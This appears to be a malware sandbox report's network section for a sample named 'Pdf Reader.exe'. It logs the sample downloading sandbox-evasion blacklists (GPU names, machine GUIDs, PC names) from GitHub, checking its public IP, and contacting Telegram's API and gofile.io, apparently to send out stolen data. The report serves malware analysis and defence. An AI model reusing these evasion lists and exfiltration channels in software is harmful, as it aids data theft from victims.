Dec 3, 2024 10:28:44.455092907 CET	49760	443	192.168.2.4	185.199.110.133
Dec 3, 2024 10:28:44.455104113 CET	443	49760	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:44.455286026 CET	49755	443	192.168.2.4	185.199.110.133
Dec 3, 2024 10:28:44.455308914 CET	443	49755	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:44.457465887 CET	49759	443	192.168.2.4	185.199.110.133
Dec 3, 2024 10:28:44.457484961 CET	443	49759	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:44.457544088 CET	49759	443	192.168.2.4	185.199.110.133
Dec 3, 2024 10:28:44.457849979 CET	49759	443	192.168.2.4	185.199.110.133
Dec 3, 2024 10:28:44.457863092 CET	443	49759	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:45.664494991 CET	443	49757	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:45.664568901 CET	49757	443	192.168.2.4	185.199.110.133
Dec 3, 2024 10:28:45.666536093 CET	49757	443	192.168.2.4	185.199.110.133
Dec 3, 2024 10:28:45.666547060 CET	443	49757	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:45.666824102 CET	443	49757	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:45.710896969 CET	443	49758	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:45.710979939 CET	49758	443	192.168.2.4	185.199.110.133
Dec 3, 2024 10:28:45.713165045 CET	49758	443	192.168.2.4	185.199.110.133
Dec 3, 2024 10:28:45.713179111 CET	443	49758	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:45.713464975 CET	443	49758	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:45.719182014 CET	49757	443	192.168.2.4	185.199.110.133
Dec 3, 2024 10:28:45.719222069 CET	49758	443	192.168.2.4	185.199.110.133
Dec 3, 2024 10:28:45.755847931 CET	443	49756	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:45.755928993 CET	49756	443	192.168.2.4	185.199.110.133
Dec 3, 2024 10:28:45.757985115 CET	49756	443	192.168.2.4	185.199.110.133
Dec 3, 2024 10:28:45.757992029 CET	443	49756	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:45.758255005 CET	443	49756	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:45.758268118 CET	443	49759	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:45.758343935 CET	49759	443	192.168.2.4	185.199.110.133
Dec 3, 2024 10:28:45.758758068 CET	443	49755	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:45.758822918 CET	49755	443	192.168.2.4	185.199.110.133
Dec 3, 2024 10:28:45.759356976 CET	49756	443	192.168.2.4	185.199.110.133
Dec 3, 2024 10:28:45.759978056 CET	443	49760	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:45.760035038 CET	49760	443	192.168.2.4	185.199.110.133
Dec 3, 2024 10:28:45.760493040 CET	49759	443	192.168.2.4	185.199.110.133
Dec 3, 2024 10:28:45.760499954 CET	443	49759	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:45.760618925 CET	49755	443	192.168.2.4	185.199.110.133
Dec 3, 2024 10:28:45.760636091 CET	443	49755	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:45.760721922 CET	443	49759	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:45.760899067 CET	443	49755	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:45.761373043 CET	49760	443	192.168.2.4	185.199.110.133
Dec 3, 2024 10:28:45.761382103 CET	443	49760	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:45.761828899 CET	49755	443	192.168.2.4	185.199.110.133
Dec 3, 2024 10:28:45.761946917 CET	443	49760	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:45.762211084 CET	49759	443	192.168.2.4	185.199.110.133
Dec 3, 2024 10:28:45.762757063 CET	49760	443	192.168.2.4	185.199.110.133
Dec 3, 2024 10:28:45.763324976 CET	443	49758	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:45.763328075 CET	443	49757	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:45.803324938 CET	443	49760	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:45.803328037 CET	443	49756	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:45.807328939 CET	443	49759	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:45.807347059 CET	443	49755	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:46.097640991 CET	443	49757	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:46.097707987 CET	443	49757	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:46.097743034 CET	443	49757	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:46.097765923 CET	49757	443	192.168.2.4	185.199.110.133
Dec 3, 2024 10:28:46.097778082 CET	443	49757	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:46.097812891 CET	443	49757	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:46.097856045 CET	49757	443	192.168.2.4	185.199.110.133
Dec 3, 2024 10:28:46.102544069 CET	49757	443	192.168.2.4	185.199.110.133
Dec 3, 2024 10:28:46.153352976 CET	443	49758	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:46.153466940 CET	443	49758	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:46.153544903 CET	49758	443	192.168.2.4	185.199.110.133
Dec 3, 2024 10:28:46.156086922 CET	49758	443	192.168.2.4	185.199.110.133
Dec 3, 2024 10:28:46.209978104 CET	443	49756	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:46.210093021 CET	443	49756	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:46.210175991 CET	49756	443	192.168.2.4	185.199.110.133
Dec 3, 2024 10:28:46.210832119 CET	49756	443	192.168.2.4	185.199.110.133
Dec 3, 2024 10:28:46.212240934 CET	443	49759	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:46.212471008 CET	443	49759	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:46.212503910 CET	443	49759	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:46.212542057 CET	49759	443	192.168.2.4	185.199.110.133
Dec 3, 2024 10:28:46.212562084 CET	443	49759	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:46.212574959 CET	443	49759	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:46.212610960 CET	49759	443	192.168.2.4	185.199.110.133
Dec 3, 2024 10:28:46.212691069 CET	443	49755	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:46.212784052 CET	443	49755	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:46.213069916 CET	49759	443	192.168.2.4	185.199.110.133
Dec 3, 2024 10:28:46.213099957 CET	49755	443	192.168.2.4	185.199.110.133
Dec 3, 2024 10:28:46.213238001 CET	49755	443	192.168.2.4	185.199.110.133
Dec 3, 2024 10:28:46.213299036 CET	443	49760	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:46.213430882 CET	443	49760	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:46.213481903 CET	49760	443	192.168.2.4	185.199.110.133
Dec 3, 2024 10:28:46.213990927 CET	49760	443	192.168.2.4	185.199.110.133

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 3, 2024 10:28:06.110784054 CET	54380	53	192.168.2.4	1.1.1.1
Dec 3, 2024 10:28:06.249119997 CET	53	54380	1.1.1.1	192.168.2.4
Dec 3, 2024 10:28:08.531744957 CET	54663	53	192.168.2.4	1.1.1.1
Dec 3, 2024 10:28:08.672079086 CET	53	54663	1.1.1.1	192.168.2.4
Dec 3, 2024 10:28:08.706944942 CET	56744	53	192.168.2.4	1.1.1.1
Dec 3, 2024 10:28:08.844635010 CET	53	56744	1.1.1.1	192.168.2.4
Dec 3, 2024 10:28:11.611946106 CET	57519	53	192.168.2.4	1.1.1.1
Dec 3, 2024 10:28:11.748970032 CET	53	57519	1.1.1.1	192.168.2.4
Dec 3, 2024 10:28:13.051632881 CET	52479	53	192.168.2.4	1.1.1.1
Dec 3, 2024 10:28:13.190726042 CET	53	52479	1.1.1.1	192.168.2.4
Dec 3, 2024 10:28:15.247014999 CET	49230	53	192.168.2.4	1.1.1.1
Dec 3, 2024 10:28:15.387027979 CET	53	49230	1.1.1.1	192.168.2.4
Dec 3, 2024 10:28:17.578588009 CET	60757	53	192.168.2.4	1.1.1.1
Dec 3, 2024 10:28:17.949410915 CET	53	60757	1.1.1.1	192.168.2.4
Dec 3, 2024 10:28:22.308717966 CET	57521	53	192.168.2.4	1.1.1.1
Dec 3, 2024 10:28:22.448071957 CET	53	57521	1.1.1.1	192.168.2.4
Dec 3, 2024 10:28:38.817579985 CET	61459	53	192.168.2.4	1.1.1.1
Dec 3, 2024 10:28:38.957241058 CET	53	61459	1.1.1.1	192.168.2.4
Dec 3, 2024 10:28:46.272680998 CET	62052	53	192.168.2.4	1.1.1.1
Dec 3, 2024 10:28:46.411339998 CET	53	62052	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 3, 2024 10:28:06.110784054 CET	192.168.2.4	1.1.1.1	0x7a31	Standard query (0)	raw.githubusercontent.com	A (IP address)	IN (0x0001)	false
Dec 3, 2024 10:28:08.531744957 CET	192.168.2.4	1.1.1.1	0x6774	Standard query (0)	82.148.8.0.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Dec 3, 2024 10:28:08.706944942 CET	192.168.2.4	1.1.1.1	0x4335	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Dec 3, 2024 10:28:11.611946106 CET	192.168.2.4	1.1.1.1	0xa61e	Standard query (0)	icanhazip.com	A (IP address)	IN (0x0001)	false
Dec 3, 2024 10:28:13.051632881 CET	192.168.2.4	1.1.1.1	0xc6ef	Standard query (0)	82.148.8.0.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Dec 3, 2024 10:28:15.247014999 CET	192.168.2.4	1.1.1.1	0xf3b8	Standard query (0)	api.gofile.io	A (IP address)	IN (0x0001)	false
Dec 3, 2024 10:28:17.578588009 CET	192.168.2.4	1.1.1.1	0xb139	Standard query (0)	store4.gofile.io	A (IP address)	IN (0x0001)	false
Dec 3, 2024 10:28:22.308717966 CET	192.168.2.4	1.1.1.1	0x5806	Standard query (0)	82.148.8.0.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Dec 3, 2024 10:28:38.817579985 CET	192.168.2.4	1.1.1.1	0x4b53	Standard query (0)	82.148.8.0.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Dec 3, 2024 10:28:46.272680998 CET	192.168.2.4	1.1.1.1	0xf0b3	Standard query (0)	82.148.8.0.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 3, 2024 10:28:06.249119997 CET	1.1.1.1	192.168.2.4	0x7a31	No error (0)	raw.githubusercontent.com		185.199.110.133	A (IP address)	IN (0x0001)	false
Dec 3, 2024 10:28:06.249119997 CET	1.1.1.1	192.168.2.4	0x7a31	No error (0)	raw.githubusercontent.com		185.199.111.133	A (IP address)	IN (0x0001)	false
Dec 3, 2024 10:28:06.249119997 CET	1.1.1.1	192.168.2.4	0x7a31	No error (0)	raw.githubusercontent.com		185.199.109.133	A (IP address)	IN (0x0001)	false
Dec 3, 2024 10:28:06.249119997 CET	1.1.1.1	192.168.2.4	0x7a31	No error (0)	raw.githubusercontent.com		185.199.108.133	A (IP address)	IN (0x0001)	false
Dec 3, 2024 10:28:08.672079086 CET	1.1.1.1	192.168.2.4	0x6774	Name error (3)	82.148.8.0.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Dec 3, 2024 10:28:08.844635010 CET	1.1.1.1	192.168.2.4	0x4335	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Dec 3, 2024 10:28:11.748970032 CET	1.1.1.1	192.168.2.4	0xa61e	No error (0)	icanhazip.com		104.16.184.241	A (IP address)	IN (0x0001)	false
Dec 3, 2024 10:28:11.748970032 CET	1.1.1.1	192.168.2.4	0xa61e	No error (0)	icanhazip.com		104.16.185.241	A (IP address)	IN (0x0001)	false
Dec 3, 2024 10:28:13.190726042 CET	1.1.1.1	192.168.2.4	0xc6ef	Name error (3)	82.148.8.0.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Dec 3, 2024 10:28:15.387027979 CET	1.1.1.1	192.168.2.4	0xf3b8	No error (0)	api.gofile.io		45.112.123.126	A (IP address)	IN (0x0001)	false
Dec 3, 2024 10:28:17.949410915 CET	1.1.1.1	192.168.2.4	0xb139	No error (0)	store4.gofile.io		31.14.70.245	A (IP address)	IN (0x0001)	false
Dec 3, 2024 10:28:22.448071957 CET	1.1.1.1	192.168.2.4	0x5806	Name error (3)	82.148.8.0.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Dec 3, 2024 10:28:38.957241058 CET	1.1.1.1	192.168.2.4	0x4b53	Name error (3)	82.148.8.0.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Dec 3, 2024 10:28:46.411339998 CET	1.1.1.1	192.168.2.4	0xf0b3	Name error (3)	82.148.8.0.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false

HTTP Request Dependency Graph

raw.githubusercontent.com

api.telegram.org

api.gofile.io

store4.gofile.io

icanhazip.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49737	104.16.184.241	80	7392	C:\Users\user\Desktop\Pdf Reader.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 10:28:11.909959078 CET	63	OUT	GET / HTTP/1.1 Host: icanhazip.com Connection: Keep-Alive
Dec 3, 2024 10:28:13.047583103 CET	535	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 09:28:12 GMT Content-Type: text/plain Content-Length: 13 Connection: keep-alive Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET Set-Cookie: __cf_bm=UGmOfDJFLjq97AbqB56dzATC4O_c3mjPdXNUFKouZZE-1733218092-1.0.1.1-LHW5ppyAJ.cNVY3Qidk80zNndS3U_O._EotGQUutmgasi9RIn9dAPlmo0qBkV1lDfioiOxCZsy5G04dQTkwJiA; path=/; expires=Tue, 03-Dec-24 09:58:12 GMT; domain=.icanhazip.com; HttpOnly Server: cloudflare CF-RAY: 8ec286788aeaefa9-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 38 2e 34 36 2e 31 32 33 2e 32 32 38 0a Data Ascii: 8.46.123.228

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49738	104.16.184.241	80	7392	C:\Users\user\Desktop\Pdf Reader.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 10:28:15.106697083 CET	39	OUT	GET / HTTP/1.1 Host: icanhazip.com
Dec 3, 2024 10:28:16.197813988 CET	535	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 09:28:16 GMT Content-Type: text/plain Content-Length: 13 Connection: keep-alive Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET Set-Cookie: __cf_bm=ztcQ.m_fUh.PNYp5yyePhYCjcUrnE9O9sD3sCsYaNXA-1733218096-1.0.1.1-LWKc8U.Pk0MH8TqZvQ5X1G1m3Fd7NssgIdHkPbEcPudIvQPKEnNPyG1T2HxZkI6UYNDsFmGbN95v_TZgZG.VRA; path=/; expires=Tue, 03-Dec-24 09:58:16 GMT; domain=.icanhazip.com; HttpOnly Server: cloudflare CF-RAY: 8ec2868c3e7f4392-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 38 2e 34 36 2e 31 32 33 2e 32 32 38 0a Data Ascii: 8.46.123.228

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49743	104.16.184.241	80	7392	C:\Users\user\Desktop\Pdf Reader.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 10:28:22.583555937 CET	63	OUT	GET / HTTP/1.1 Host: icanhazip.com Connection: Keep-Alive
Dec 3, 2024 10:28:23.720288992 CET	535	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 09:28:23 GMT Content-Type: text/plain Content-Length: 13 Connection: keep-alive Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET Set-Cookie: __cf_bm=B9_g9N_.rd6lKyJOiSv.ywjD7TBnA6VTDDvPlJCqTJ4-1733218103-1.0.1.1-_o6dgLqZ4YICQ5umRoQC5BHnIeyR_goDXfFAW.b8zqL3sbHqYxoBSrAYJUXiwpTpgSSMuU.Ul9Koju20ASsdOw; path=/; expires=Tue, 03-Dec-24 09:58:23 GMT; domain=.icanhazip.com; HttpOnly Server: cloudflare CF-RAY: 8ec286bb4e2c43dc-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 38 2e 34 36 2e 31 32 33 2e 32 32 38 0a Data Ascii: 8.46.123.228

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.199.110.133	443	7392	C:\Users\user\Desktop\Pdf Reader.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 09:28:07 UTC	131	OUT	GET /6nz/virustotal-vm-blacklist/refs/heads/main/gpu_list.txt HTTP/1.1 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-12-03 09:28:08 UTC	900	IN	HTTP/1.1 200 OK Connection: close Content-Length: 1246 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "30981a4a96ce3533cb33ae7620077db7a4a8377cb1ef8fcfc8a07293fa2937d6" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 373E:148B42:5D5D11:6741E6:674ECF27 Accept-Ranges: bytes Date: Tue, 03 Dec 2024 09:28:08 GMT Via: 1.1 varnish X-Served-By: cache-nyc-kteb1890041-NYC X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1733218088.966555,VS0,VE40 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 7b94f2ab7bdfd6e6e1c8c9a0d7c01f6e9058f8ef Expires: Tue, 03 Dec 2024 09:33:08 GMT Source-Age: 0
2024-12-03 09:28:08 UTC	1246	IN	Data Raw: 32 39 5f 5f 48 45 52 45 0a 32 47 36 43 37 5a 36 31 0a 32 52 4f 5f 38 55 56 55 0a 32 53 4e 35 33 38 4b 34 0a 35 4b 42 4b 34 31 5f 4c 0a 35 4c 58 50 41 38 45 53 0a 35 50 45 43 4e 36 4c 31 0a 35 52 50 46 54 33 48 5a 0a 36 42 4f 53 34 4f 37 55 0a 36 42 5a 50 32 59 32 5f 0a 36 46 34 34 41 44 52 37 0a 36 4d 50 41 39 33 0a 37 32 32 39 48 39 47 39 0a 37 34 5a 5a 43 59 37 41 0a 37 54 42 39 47 36 50 37 0a 38 34 4b 44 31 4b 53 4b 0a 38 4e 59 47 4b 33 46 4c 0a 38 59 33 42 53 58 4b 47 0a 39 53 46 37 32 46 47 37 0a 39 5a 37 37 44 4e 34 54 0a 5f 47 33 31 45 34 36 4e 0a 5f 50 48 4c 4e 59 47 52 0a 5f 54 39 57 35 4c 48 4f 0a 41 46 52 42 52 36 54 43 0a 41 4d 44 20 52 61 64 65 6f 6e 20 48 44 20 38 36 35 30 47 0a 41 53 50 45 45 44 20 47 72 61 70 68 69 63 73 20 46 61 6d 69 6c Data Ascii: 29__HERE2G6C7Z612RO_8UVU2SN538K45KBK41_L5LXPA8ES5PECN6L15RPFT3HZ6BOS4O7U6BZP2Y2_6F44ADR76MPA937229H9G974ZZCY7A7TB9G6P784KD1KSK8NYGK3FL8Y3BSXKG9SF72FG79Z77DN4T_G31E46N_PHLNYGR_T9W5LHOAFRBR6TCAMD Radeon HD 8650GASPEED Graphics Famil

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49735	185.199.110.133	443	7392	C:\Users\user\Desktop\Pdf Reader.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 09:28:07 UTC	134	OUT	GET /6nz/virustotal-vm-blacklist/refs/heads/main/MachineGuid.txt HTTP/1.1 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-12-03 09:28:08 UTC	898	IN	HTTP/1.1 200 OK Connection: close Content-Length: 1110 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "1224175461dce581d971884e2b8af67d12f105702cbcc56be1043ccc84319e42" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 551A:7502:5DF99A:67DE41:674ECF26 Accept-Ranges: bytes Date: Tue, 03 Dec 2024 09:28:08 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740033-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1733218088.917131,VS0,VE97 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 1f9c6af2ad12aa9118e618a8b0990a3ea3ed995c Expires: Tue, 03 Dec 2024 09:33:08 GMT Source-Age: 0
2024-12-03 09:28:08 UTC	1110	IN	Data Raw: 30 38 31 61 62 33 39 35 2d 35 65 38 35 2d 34 36 33 34 2d 61 63 64 62 2d 32 64 62 64 34 66 35 39 61 37 64 30 0a 30 38 39 65 36 32 31 63 2d 31 34 32 32 2d 34 38 35 36 2d 61 38 62 31 2d 33 66 31 64 62 32 30 38 63 65 39 65 0a 31 30 37 39 37 66 31 64 2d 39 36 31 33 2d 34 38 33 32 2d 62 31 61 33 2d 63 32 32 66 65 33 36 35 62 38 39 64 0a 31 35 39 34 37 38 30 32 2d 63 62 39 63 2d 34 37 38 66 2d 61 66 35 63 2d 33 33 62 31 61 62 62 64 31 62 66 65 0a 31 61 38 35 63 36 36 30 2d 31 66 39 38 2d 34 32 63 61 2d 62 31 63 62 2d 31 39 39 66 36 33 65 31 64 38 30 37 0a 32 62 35 33 36 35 66 31 2d 65 65 62 62 2d 34 31 33 35 2d 62 36 65 31 2d 34 31 33 61 61 62 32 39 39 66 63 62 0a 34 35 30 38 61 66 64 33 2d 35 66 30 35 2d 34 39 31 65 2d 62 34 39 66 2d 62 34 34 30 32 34 39 36 37 Data Ascii: 081ab395-5e85-4634-acdb-2dbd4f59a7d0089e621c-1422-4856-a8b1-3f1db208ce9e10797f1d-9613-4832-b1a3-c22fe365b89d15947802-cb9c-478f-af5c-33b1abbd1bfe1a85c660-1f98-42ca-b1cb-199f63e1d8072b5365f1-eebb-4135-b6e1-413aab299fcb4508afd3-5f05-491e-b49f-b44024967

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49733	185.199.110.133	443	7392	C:\Users\user\Desktop\Pdf Reader.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 09:28:07 UTC	135	OUT	GET /6nz/virustotal-vm-blacklist/refs/heads/main/pc_name_list.txt HTTP/1.1 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-12-03 09:28:08 UTC	900	IN	HTTP/1.1 200 OK Connection: close Content-Length: 3145 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "72b0005e577398f4eb7596131aa14f87c4f7379acc30e24456d4830af5304467" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: A216:2962F4:5BA353:658837:674ECF26 Accept-Ranges: bytes Date: Tue, 03 Dec 2024 09:28:08 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740070-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1733218088.966394,VS0,VE77 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: d8798837d2bae68ebf86cad412dc492b95247669 Expires: Tue, 03 Dec 2024 09:33:08 GMT Source-Age: 0
2024-12-03 09:28:08 UTC	1378	IN	Data Raw: 30 30 39 30 30 42 43 38 33 38 30 32 0a 30 30 39 30 30 42 43 38 33 38 30 33 0a 30 43 43 34 37 41 43 38 33 38 30 33 0a 31 38 43 39 41 43 44 46 2d 37 43 30 30 2d 34 0a 33 43 45 43 45 46 43 38 33 38 30 36 0a 36 43 34 45 37 33 33 46 2d 43 32 44 39 2d 34 0a 41 42 49 47 41 49 0a 41 43 45 50 43 0a 41 49 44 41 4e 50 43 0a 41 4c 45 4e 4d 4f 4f 53 2d 50 43 0a 41 4c 49 4f 4e 45 0a 41 50 50 4f 4e 46 4c 59 2d 56 50 53 0a 41 52 43 48 49 42 41 4c 44 50 43 0a 61 7a 75 72 65 0a 42 33 30 46 30 32 34 32 2d 31 43 36 41 2d 34 0a 42 41 52 4f 53 49 4e 4f 2d 50 43 0a 42 45 43 4b 45 52 2d 50 43 0a 42 45 45 37 33 37 30 43 2d 38 43 30 43 2d 34 0a 43 38 31 46 36 36 43 38 33 38 30 35 0a 43 41 54 57 52 49 47 48 54 0a 43 48 53 48 41 57 0a 43 4f 46 46 45 45 2d 53 48 4f 50 0a 43 4f 4d 50 Data Ascii: 00900BC8380200900BC838030CC47AC8380318C9ACDF-7C00-43CECEFC838066C4E733F-C2D9-4ABIGAIACEPCAIDANPCALENMOOS-PCALIONEAPPONFLY-VPSARCHIBALDPCazureB30F0242-1C6A-4BAROSINO-PCBECKER-PCBEE7370C-8C0C-4C81F66C83805CATWRIGHTCHSHAWCOFFEE-SHOPCOMP
2024-12-03 09:28:08 UTC	1378	IN	Data Raw: 46 4f 0a 44 45 53 4b 54 4f 50 2d 4c 54 4d 43 4b 4c 41 0a 44 45 53 4b 54 4f 50 2d 4d 4a 43 36 35 30 30 0a 44 45 53 4b 54 4f 50 2d 4d 57 46 52 56 4b 48 0a 44 45 53 4b 54 4f 50 2d 4e 41 4b 46 46 4d 54 0a 44 45 53 4b 54 4f 50 2d 4e 4b 50 30 49 34 50 0a 44 45 53 4b 54 4f 50 2d 4e 4d 31 5a 50 4c 47 0a 44 45 53 4b 54 4f 50 2d 4e 54 55 37 56 55 4f 0a 44 45 53 4b 54 4f 50 2d 4f 36 46 42 4d 46 37 0a 44 45 53 4b 54 4f 50 2d 4f 37 42 49 33 50 54 0a 44 45 53 4b 54 4f 50 2d 50 41 30 46 4e 56 35 0a 44 45 53 4b 54 4f 50 2d 50 4b 51 4e 44 53 52 0a 44 45 53 4b 54 4f 50 2d 51 4c 4e 32 56 55 46 0a 44 45 53 4b 54 4f 50 2d 51 55 41 59 38 47 53 0a 44 45 53 4b 54 4f 50 2d 52 43 41 33 51 57 58 0a 44 45 53 4b 54 4f 50 2d 52 48 58 44 4b 57 57 0a 44 45 53 4b 54 4f 50 2d 52 50 34 46 Data Ascii: FODESKTOP-LTMCKLADESKTOP-MJC6500DESKTOP-MWFRVKHDESKTOP-NAKFFMTDESKTOP-NKP0I4PDESKTOP-NM1ZPLGDESKTOP-NTU7VUODESKTOP-O6FBMF7DESKTOP-O7BI3PTDESKTOP-PA0FNV5DESKTOP-PKQNDSRDESKTOP-QLN2VUFDESKTOP-QUAY8GSDESKTOP-RCA3QWXDESKTOP-RHXDKWWDESKTOP-RP4F
2024-12-03 09:28:08 UTC	389	IN	Data Raw: 45 45 4c 35 33 53 4e 0a 57 49 4e 5a 44 53 2d 31 42 48 52 56 50 51 55 0a 57 49 4e 5a 44 53 2d 32 32 55 52 4a 49 42 56 0a 57 49 4e 5a 44 53 2d 33 46 46 32 49 39 53 4e 0a 57 49 4e 5a 44 53 2d 35 4a 37 35 44 54 48 48 0a 57 49 4e 5a 44 53 2d 36 54 55 49 48 4e 37 52 0a 57 49 4e 5a 44 53 2d 38 4d 41 45 49 38 45 34 0a 57 49 4e 5a 44 53 2d 39 49 4f 37 35 53 56 47 0a 57 49 4e 5a 44 53 2d 41 4d 37 36 48 50 4b 32 0a 57 49 4e 5a 44 53 2d 42 30 33 4c 39 43 45 4f 0a 57 49 4e 5a 44 53 2d 42 4d 53 4d 44 38 4d 45 0a 57 49 4e 5a 44 53 2d 42 55 41 4f 4b 47 47 31 0a 57 49 4e 5a 44 53 2d 4b 37 56 49 4b 34 46 43 0a 57 49 4e 5a 44 53 2d 4d 49 4c 4f 42 4d 33 35 0a 57 49 4e 5a 44 53 2d 50 55 30 55 52 50 56 49 0a 57 49 4e 5a 44 53 2d 51 4e 47 4b 47 4e 35 39 0a 57 49 4e 5a 44 53 2d Data Ascii: EEL53SNWINZDS-1BHRVPQUWINZDS-22URJIBVWINZDS-3FF2I9SNWINZDS-5J75DTHHWINZDS-6TUIHN7RWINZDS-8MAEI8E4WINZDS-9IO75SVGWINZDS-AM76HPK2WINZDS-B03L9CEOWINZDS-BMSMD8MEWINZDS-BUAOKGG1WINZDS-K7VIK4FCWINZDS-MILOBM35WINZDS-PU0URPVIWINZDS-QNGKGN59WINZDS-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49734	185.199.110.133	443	7392	C:\Users\user\Desktop\Pdf Reader.exe

Timestamp	Bytes transferred	Direction	Data
